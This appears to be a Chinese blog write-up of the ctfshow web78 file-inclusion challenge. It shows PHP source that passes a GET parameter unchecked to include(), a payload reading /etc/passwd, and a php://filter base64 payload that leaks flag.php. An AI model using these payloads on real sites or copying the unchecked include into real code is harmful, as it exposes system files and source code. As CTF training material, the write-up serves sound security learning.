ctfshow-web78-文件包含-filter伪协议

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 10:52:43
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 10:54:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}

GET方法传参file,可以利用include函数进行文件包含

1
?file=/etc/passwd

image-20250519193600387

直接包含flag.php没回显,可以加上伪协议包含回显内容

1
?file=php://filter/read=convert.base64-encode/resource=flag.php

image-20250519193840508

base64解码获得flag

image-20250519193909554


ctfshow-web78-文件包含-filter伪协议
https://yschen20.github.io/2025/05/25/ctfshow-web78-文件包含-filter伪协议/
作者
Suzen
发布于
2025年5月25日
更新于
2025年5月29日
许可协议